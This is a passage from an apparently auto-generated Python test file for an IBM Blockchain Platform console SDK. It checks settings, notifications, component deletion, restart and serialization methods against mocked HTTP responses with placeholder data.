"LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "msp_id": "Org1", "location": "ibmcloud", "node_ou": {"enabled": true}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "peer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
tag = 'testString'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"tag": tag,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.get_components_by_tag(**req_copy)
class TestRemoveComponentsByTag():
"""
Test Class for remove_components_by_tag
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_remove_components_by_tag_all_params(self):
"""
remove_components_by_tag()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/tags/testString')
mock_response = '{"removed": [{"message": "deleted", "type": "fabric-peer", "id": "component1", "display_name": "My Peer"}]}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
tag = 'testString'
# Invoke method
response = service.remove_components_by_tag(
tag,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
@responses.activate
def test_remove_components_by_tag_value_error(self):
"""
test_remove_components_by_tag_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/tags/testString')
mock_response = '{"removed": [{"message": "deleted", "type": "fabric-peer", "id": "component1", "display_name": "My Peer"}]}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
tag = 'testString'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"tag": tag,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.remove_components_by_tag(**req_copy)
class TestDeleteComponentsByTag():
"""
Test Class for delete_components_by_tag
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_delete_components_by_tag_all_params(self):
"""
delete_components_by_tag()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/tags/testString')
mock_response = '{"deleted": [{"message": "deleted", "type": "fabric-peer", "id": "component1", "display_name": "My Peer"}]}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
tag = 'testString'
# Invoke method
response = service.delete_components_by_tag(
tag,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
@responses.activate
def test_delete_components_by_tag_value_error(self):
"""
test_delete_components_by_tag_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/tags/testString')
mock_response = '{"deleted": [{"message": "deleted", "type": "fabric-peer", "id": "component1", "display_name": "My Peer"}]}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
tag = 'testString'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"tag": tag,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.delete_components_by_tag(**req_copy)
class TestDeleteAllComponents():
"""
Test Class for delete_all_components
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_delete_all_components_all_params(self):
"""
delete_all_components()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/purge')
mock_response = '{"deleted": [{"message": "deleted", "type": "fabric-peer", "id": "component1", "display_name": "My Peer"}]}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Invoke method
response = service.delete_all_components()
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# endregion
##############################################################################
# End of Service: ManageMultipleComponents
##############################################################################
##############################################################################
# Start of Service: AdministerTheIBPConsole
##############################################################################
# region
class TestGetSettings():
"""
Test Class for get_settings
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_get_settings_all_params(self):
"""
get_settings()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/settings')
mock_response = '{"ACTIVITY_TRACKER_PATH": "/logs", "ATHENA_ID": "17v7e", "AUTH_SCHEME": "iam", "CALLBACK_URI": "/auth/cb", "CLUSTER_DATA": {"type": "paid"}, "CONFIGTXLATOR_URL": "https://n3a3ec3-configtxlator.ibp.us-south.containers.appdomain.cloud", "CRN": {"account_id": "a/abcd", "c_name": "staging", "c_type": "public", "instance_id": "abc123", "location": "us-south", "resource_id": "-", "resource_type": "-", "service_name": "blockchain", "version": "v1"}, "CRN_STRING": "crn:v1:staging:public:blockchain:us-south:a/abcd:abc123::", "CSP_HEADER_VALUES": ["-"], "DB_SYSTEM": "system", "DEPLOYER_URL": "https://api.dev.blockchain.cloud.ibm.com", "DOMAIN": "localhost", "ENVIRONMENT": "prod", "FABRIC_CAPABILITIES": {"application": ["V1_1"], "channel": ["V1_1"], "orderer": ["V1_1"]}, "FEATURE_FLAGS": {"anyKey": "anyValue"}, "FILE_LOGGING": {"server": {"client": {"enabled": true, "level": "silly", "unique_name": false}, "server": {"enabled": true, "level": "silly", "unique_name": false}}, "client": {"client": {"enabled": true, "level": "silly", "unique_name": false}, "server": {"enabled": true, "level": "silly", "unique_name": false}}}, "HOST_URL": "http://localhost:3000", "IAM_CACHE_ENABLED": true, "IAM_URL": "-", "IBM_ID_CALLBACK_URL": "http://localhost:3000/auth/login", "IGNORE_CONFIG_FILE": true, "INACTIVITY_TIMEOUTS": {"enabled": true, "max_idle_time": 60000}, "INFRASTRUCTURE": "ibmcloud", "LANDING_URL": "http://localhost:3000", "LOGIN_URI": "/auth/login", "LOGOUT_URI": "/auth/logout", "MAX_REQ_PER_MIN": 25, "MAX_REQ_PER_MIN_AK": 25, "MEMORY_CACHE_ENABLED": true, "PORT": 3000, "PROXY_CACHE_ENABLED": true, "PROXY_TLS_FABRIC_REQS": "always", "PROXY_TLS_HTTP_URL": "http://localhost:3000", "PROXY_TLS_WS_URL": "http://localhost:3000", "REGION": "us_south", "SESSION_CACHE_ENABLED": true, "TIMEOUTS": {"anyKey": "anyValue"}, "TIMESTAMPS": {"now": 1542746836056, "born": 1542746836056, "next_settings_update": "1.2 mins", "up_time": "30 days"}, "TRANSACTION_VISIBILITY": {"anyKey": "anyValue"}, "TRUST_PROXY": "loopback", "TRUST_UNKNOWN_CERTS": true, "VERSIONS": {"apollo": "65f3cbfd", "athena": "1198f94", "stitch": "0f1a0c6", "tag": "v0.4.31"}}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Invoke method
response = service.get_settings()
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
class TestEditSettings():
"""
Test Class for edit_settings
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_edit_settings_all_params(self):
"""
edit_settings()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/settings')
mock_response = '{"ACTIVITY_TRACKER_PATH": "/logs", "ATHENA_ID": "17v7e", "AUTH_SCHEME": "iam", "CALLBACK_URI": "/auth/cb", "CLUSTER_DATA": {"type": "paid"}, "CONFIGTXLATOR_URL": "https://n3a3ec3-configtxlator.ibp.us-south.containers.appdomain.cloud", "CRN": {"account_id": "a/abcd", "c_name": "staging", "c_type": "public", "instance_id": "abc123", "location": "us-south", "resource_id": "-", "resource_type": "-", "service_name": "blockchain", "version": "v1"}, "CRN_STRING": "crn:v1:staging:public:blockchain:us-south:a/abcd:abc123::", "CSP_HEADER_VALUES": ["-"], "DB_SYSTEM": "system", "DEPLOYER_URL": "https://api.dev.blockchain.cloud.ibm.com", "DOMAIN": "localhost", "ENVIRONMENT": "prod", "FABRIC_CAPABILITIES": {"application": ["V1_1"], "channel": ["V1_1"], "orderer": ["V1_1"]}, "FEATURE_FLAGS": {"anyKey": "anyValue"}, "FILE_LOGGING": {"server": {"client": {"enabled": true, "level": "silly", "unique_name": false}, "server": {"enabled": true, "level": "silly", "unique_name": false}}, "client": {"client": {"enabled": true, "level": "silly", "unique_name": false}, "server": {"enabled": true, "level": "silly", "unique_name": false}}}, "HOST_URL": "http://localhost:3000", "IAM_CACHE_ENABLED": true, "IAM_URL": "-", "IBM_ID_CALLBACK_URL": "http://localhost:3000/auth/login", "IGNORE_CONFIG_FILE": true, "INACTIVITY_TIMEOUTS": {"enabled": true, "max_idle_time": 60000}, "INFRASTRUCTURE": "ibmcloud", "LANDING_URL": "http://localhost:3000", "LOGIN_URI": "/auth/login", "LOGOUT_URI": "/auth/logout", "MAX_REQ_PER_MIN": 25, "MAX_REQ_PER_MIN_AK": 25, "MEMORY_CACHE_ENABLED": true, "PORT": 3000, "PROXY_CACHE_ENABLED": true, "PROXY_TLS_FABRIC_REQS": "always", "PROXY_TLS_HTTP_URL": "http://localhost:3000", "PROXY_TLS_WS_URL": "http://localhost:3000", "REGION": "us_south", "SESSION_CACHE_ENABLED": true, "TIMEOUTS": {"anyKey": "anyValue"}, "TIMESTAMPS": {"now": 1542746836056, "born": 1542746836056, "next_settings_update": "1.2 mins", "up_time": "30 days"}, "TRANSACTION_VISIBILITY": {"anyKey": "anyValue"}, "TRUST_PROXY": "loopback", "TRUST_UNKNOWN_CERTS": true, "VERSIONS": {"apollo": "65f3cbfd", "athena": "1198f94", "stitch": "0f1a0c6", "tag": "v0.4.31"}}'
responses.add(responses.PUT,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a EditSettingsBodyInactivityTimeouts model
edit_settings_body_inactivity_timeouts_model = {}
edit_settings_body_inactivity_timeouts_model['enabled'] = False
edit_settings_body_inactivity_timeouts_model['max_idle_time'] = 90000
# Construct a dict representation of a LoggingSettingsClient model
logging_settings_client_model = {}
logging_settings_client_model['enabled'] = True
logging_settings_client_model['level'] = 'silly'
logging_settings_client_model['unique_name'] = False
# Construct a dict representation of a LoggingSettingsServer model
logging_settings_server_model = {}
logging_settings_server_model['enabled'] = True
logging_settings_server_model['level'] = 'silly'
logging_settings_server_model['unique_name'] = False
# Construct a dict representation of a EditLogSettingsBody model
edit_log_settings_body_model = {}
edit_log_settings_body_model['client'] = logging_settings_client_model
edit_log_settings_body_model['server'] = logging_settings_server_model
# Set up parameter values
inactivity_timeouts = edit_settings_body_inactivity_timeouts_model
file_logging = edit_log_settings_body_model
max_req_per_min = 25
max_req_per_min_ak = 25
fabric_get_block_timeout_ms = 10000
fabric_instantiate_timeout_ms = 300000
fabric_join_channel_timeout_ms = 25000
fabric_install_cc_timeout_ms = 300000
fabric_lc_install_cc_timeout_ms = 300000
fabric_lc_get_cc_timeout_ms = 180000
fabric_general_timeout_ms = 10000
# Invoke method
response = service.edit_settings(
inactivity_timeouts=inactivity_timeouts,
file_logging=file_logging,
max_req_per_min=max_req_per_min,
max_req_per_min_ak=max_req_per_min_ak,
fabric_get_block_timeout_ms=fabric_get_block_timeout_ms,
fabric_instantiate_timeout_ms=fabric_instantiate_timeout_ms,
fabric_join_channel_timeout_ms=fabric_join_channel_timeout_ms,
fabric_install_cc_timeout_ms=fabric_install_cc_timeout_ms,
fabric_lc_install_cc_timeout_ms=fabric_lc_install_cc_timeout_ms,
fabric_lc_get_cc_timeout_ms=fabric_lc_get_cc_timeout_ms,
fabric_general_timeout_ms=fabric_general_timeout_ms,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['inactivity_timeouts'] == edit_settings_body_inactivity_timeouts_model
assert req_body['file_logging'] == edit_log_settings_body_model
assert req_body['max_req_per_min'] == 25
assert req_body['max_req_per_min_ak'] == 25
assert req_body['fabric_get_block_timeout_ms'] == 10000
assert req_body['fabric_instantiate_timeout_ms'] == 300000
assert req_body['fabric_join_channel_timeout_ms'] == 25000
assert req_body['fabric_install_cc_timeout_ms'] == 300000
assert req_body['fabric_lc_install_cc_timeout_ms'] == 300000
assert req_body['fabric_lc_get_cc_timeout_ms'] == 180000
assert req_body['fabric_general_timeout_ms'] == 10000
class TestGetFabVersions():
"""
Test Class for get_fab_versions
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_get_fab_versions_all_params(self):
"""
get_fab_versions()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/fabric/versions')
mock_response = '{"versions": {"ca": {"1.4.6-2": {"default": true, "version": "1.4.6-2", "image": {"anyKey": "anyValue"}}, "2.1.0-0": {"default": true, "version": "1.4.6-2", "image": {"anyKey": "anyValue"}}}, "peer": {"1.4.6-2": {"default": true, "version": "1.4.6-2", "image": {"anyKey": "anyValue"}}, "2.1.0-0": {"default": true, "version": "1.4.6-2", "image": {"anyKey": "anyValue"}}}, "orderer": {"1.4.6-2": {"default": true, "version": "1.4.6-2", "image": {"anyKey": "anyValue"}}, "2.1.0-0": {"default": true, "version": "1.4.6-2", "image": {"anyKey": "anyValue"}}}}}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
cache = 'skip'
# Invoke method
response = service.get_fab_versions(
cache=cache,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate query params
query_string = responses.calls[0].request.url.split('?',1)[1]
query_string = urllib.parse.unquote_plus(query_string)
assert 'cache={}'.format(cache) in query_string
@responses.activate
def test_get_fab_versions_required_params(self):
"""
test_get_fab_versions_required_params()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/fabric/versions')
mock_response = '{"versions": {"ca": {"1.4.6-2": {"default": true, "version": "1.4.6-2", "image": {"anyKey": "anyValue"}}, "2.1.0-0": {"default": true, "version": "1.4.6-2", "image": {"anyKey": "anyValue"}}}, "peer": {"1.4.6-2": {"default": true, "version": "1.4.6-2", "image": {"anyKey": "anyValue"}}, "2.1.0-0": {"default": true, "version": "1.4.6-2", "image": {"anyKey": "anyValue"}}}, "orderer": {"1.4.6-2": {"default": true, "version": "1.4.6-2", "image": {"anyKey": "anyValue"}}, "2.1.0-0": {"default": true, "version": "1.4.6-2", "image": {"anyKey": "anyValue"}}}}}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Invoke method
response = service.get_fab_versions()
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
class TestGetHealth():
"""
Test Class for get_health
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_get_health_all_params(self):
"""
get_health()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/health')
mock_response = '{"OPTOOLS": {"instance_id": "p59ta", "now": 1542746836056, "born": 1542746836056, "up_time": "30 days", "memory_usage": {"rss": "56.1 MB", "heapTotal": "34.4 MB", "heapUsed": "28.4 MB", "external": "369.3 KB"}, "session_cache_stats": {"hits": 42, "misses": 11, "keys": 100, "cache_size": "4.19 KiB"}, "couch_cache_stats": {"hits": 42, "misses": 11, "keys": 100, "cache_size": "4.19 KiB"}, "iam_cache_stats": {"hits": 42, "misses": 11, "keys": 100, "cache_size": "4.19 KiB"}, "proxy_cache": {"hits": 42, "misses": 11, "keys": 100, "cache_size": "4.19 KiB"}}, "OS": {"arch": "x64", "type": "Windows_NT", "endian": "LE", "loadavg": [0], "cpus": [{"model": "Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz", "speed": 2592, "times": {"idle": 131397203, "irq": 6068640, "nice": 0, "sys": 9652328, "user": 4152187}}], "total_memory": "31.7 GB", "free_memory": "21.9 GB", "up_time": "4.9 days"}}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Invoke method
response = service.get_health()
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
class TestListNotifications():
"""
Test Class for list_notifications
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_list_notifications_all_params(self):
"""
list_notifications()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/notifications')
mock_response = '{"total": 10, "returning": 3, "notifications": [{"id": "60d84819bfa17adb4174ff3a1c52b5d6", "type": "notification", "status": "pending", "by": "d******a@us.ibm.com", "message": "Restarting application", "ts_display": 1537262855753}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
limit = 1
skip = 1
component_id = 'MyPeer'
# Invoke method
response = service.list_notifications(
limit=limit,
skip=skip,
component_id=component_id,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate query params
query_string = responses.calls[0].request.url.split('?',1)[1]
query_string = urllib.parse.unquote_plus(query_string)
assert 'limit={}'.format(limit) in query_string
assert 'skip={}'.format(skip) in query_string
assert 'component_id={}'.format(component_id) in query_string
@responses.activate
def test_list_notifications_required_params(self):
"""
test_list_notifications_required_params()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/notifications')
mock_response = '{"total": 10, "returning": 3, "notifications": [{"id": "60d84819bfa17adb4174ff3a1c52b5d6", "type": "notification", "status": "pending", "by": "d******a@us.ibm.com", "message": "Restarting application", "ts_display": 1537262855753}]}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Invoke method
response = service.list_notifications()
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
class TestDeleteSigTx():
"""
Test Class for delete_sig_tx
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_delete_sig_tx_all_params(self):
"""
delete_sig_tx()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/signature_collections/testString')
mock_response = '{"message": "ok", "tx_id": "abcde"}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
# Invoke method
response = service.delete_sig_tx(
id,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
@responses.activate
def test_delete_sig_tx_value_error(self):
"""
test_delete_sig_tx_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/signature_collections/testString')
mock_response = '{"message": "ok", "tx_id": "abcde"}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.delete_sig_tx(**req_copy)
class TestArchiveNotifications():
"""
Test Class for archive_notifications
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_archive_notifications_all_params(self):
"""
archive_notifications()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/notifications/bulk')
mock_response = '{"message": "ok", "details": "archived 3 notification(s)"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
notification_ids = ['c9d00ebf849051e4f102008dc0be2488']
# Invoke method
response = service.archive_notifications(
notification_ids,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['notification_ids'] == ['c9d00ebf849051e4f102008dc0be2488']
@responses.activate
def test_archive_notifications_value_error(self):
"""
test_archive_notifications_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/notifications/bulk')
mock_response = '{"message": "ok", "details": "archived 3 notification(s)"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
notification_ids = ['c9d00ebf849051e4f102008dc0be2488']
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"notification_ids": notification_ids,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.archive_notifications(**req_copy)
class TestRestart():
"""
Test Class for restart
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_restart_all_params(self):
"""
restart()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/restart')
mock_response = '{"message": "restarting - give me 5-30 seconds"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Invoke method
response = service.restart()
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
class TestDeleteAllSessions():
"""
Test Class for delete_all_sessions
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_delete_all_sessions_all_params(self):
"""
delete_all_sessions()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/sessions')
mock_response = '{"message": "delete submitted"}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Invoke method
response = service.delete_all_sessions()
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
class TestDeleteAllNotifications():
"""
Test Class for delete_all_notifications
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_delete_all_notifications_all_params(self):
"""
delete_all_notifications()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/notifications/purge')
mock_response = '{"message": "ok", "details": "deleted 101 notification(s)"}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Invoke method
response = service.delete_all_notifications()
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
class TestClearCaches():
"""
Test Class for clear_caches
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_clear_caches_all_params(self):
"""
clear_caches()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/cache')
mock_response = '{"message": "ok", "flushed": ["iam_cache"]}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Invoke method
response = service.clear_caches()
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# endregion
##############################################################################
# End of Service: AdministerTheIBPConsole
##############################################################################
##############################################################################
# Start of Service: DownloadExamples
##############################################################################
# region
class TestGetPostman():
"""
Test Class for get_postman
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_get_postman_all_params(self):
"""
get_postman()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/postman')
responses.add(responses.GET,
url,
status=200)
# Set up parameter values
auth_type = 'bearer'
token = 'testString'
api_key = 'testString'
username = 'admin'
password = 'password'
# Invoke method
response = service.get_postman(
auth_type,
token=token,
api_key=api_key,
username=username,
password=password,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate query params
query_string = responses.calls[0].request.url.split('?',1)[1]
query_string = urllib.parse.unquote_plus(query_string)
assert 'auth_type={}'.format(auth_type) in query_string
assert 'token={}'.format(token) in query_string
assert 'api_key={}'.format(api_key) in query_string
assert 'username={}'.format(username) in query_string
assert 'password={}'.format(password) in query_string
@responses.activate
def test_get_postman_required_params(self):
"""
test_get_postman_required_params()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/postman')
responses.add(responses.GET,
url,
status=200)
# Set up parameter values
auth_type = 'bearer'
# Invoke method
response = service.get_postman(
auth_type,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate query params
query_string = responses.calls[0].request.url.split('?',1)[1]
query_string = urllib.parse.unquote_plus(query_string)
assert 'auth_type={}'.format(auth_type) in query_string
@responses.activate
def test_get_postman_value_error(self):
"""
test_get_postman_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/postman')
responses.add(responses.GET,
url,
status=200)
# Set up parameter values
auth_type = 'bearer'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"auth_type": auth_type,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.get_postman(**req_copy)
class TestGetSwagger():
"""
Test Class for get_swagger
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_get_swagger_all_params(self):
"""
get_swagger()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/openapi')
mock_response = '"operation_response"'
responses.add(responses.GET,
url,
body=mock_response,
content_type='text/plain',
status=200)
# Invoke method
response = service.get_swagger()
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# endregion
##############################################################################
# End of Service: DownloadExamples
##############################################################################
##############################################################################
# Start of Model Tests
##############################################################################
# region
class TestActionsResponse():
"""
Test Class for ActionsResponse
"""
def test_actions_response_serialization(self):
"""
Test serialization/deserialization for ActionsResponse
"""
# Construct a json representation of a ActionsResponse model
actions_response_model_json = {}
actions_response_model_json['message'] = 'accepted'
actions_response_model_json['id'] = 'myca'
actions_response_model_json['actions'] = ['restart']
# Construct a model instance of ActionsResponse by calling from_dict on the json representation
actions_response_model = ActionsResponse.from_dict(actions_response_model_json)
assert actions_response_model != False
# Construct a model instance of ActionsResponse by calling from_dict on the json representation
actions_response_model_dict = ActionsResponse.from_dict(actions_response_model_json).__dict__
actions_response_model2 = ActionsResponse(**actions_response_model_dict)
# Verify the model instances are equivalent
assert actions_response_model == actions_response_model2
# Convert model instance back to dict and verify no loss of data
actions_response_model_json2 = actions_response_model.to_dict()
assert actions_response_model_json2 == actions_response_model_json
class TestArchiveResponse():
"""
Test Class for ArchiveResponse
"""
def test_archive_response_serialization(self):
"""
Test serialization/deserialization for ArchiveResponse
"""
# Construct a json representation of a ArchiveResponse model
archive_response_model_json = {}
archive_response_model_json['message'] = 'ok'
archive_response_model_json['details'] = 'archived 3 notification(s)'
# Construct a model instance of ArchiveResponse by calling from_dict on the json representation
archive_response_model = ArchiveResponse.from_dict(archive_response_model_json)
assert archive_response_model != False
# Construct a model instance of ArchiveResponse by calling from_dict on the json representation
archive_response_model_dict = ArchiveResponse.from_dict(archive_response_model_json).__dict__
archive_response_model2 = ArchiveResponse(**archive_response_model_dict)
# Verify the model instances are equivalent
assert archive_response_model == archive_response_model2
# Convert model instance back to dict and verify no loss of data
archive_response_model_json2 = archive_response_model.to_dict()
assert archive_response_model_json2 == archive_response_model_json
class TestBccsp():
"""
Test Class for Bccsp
"""
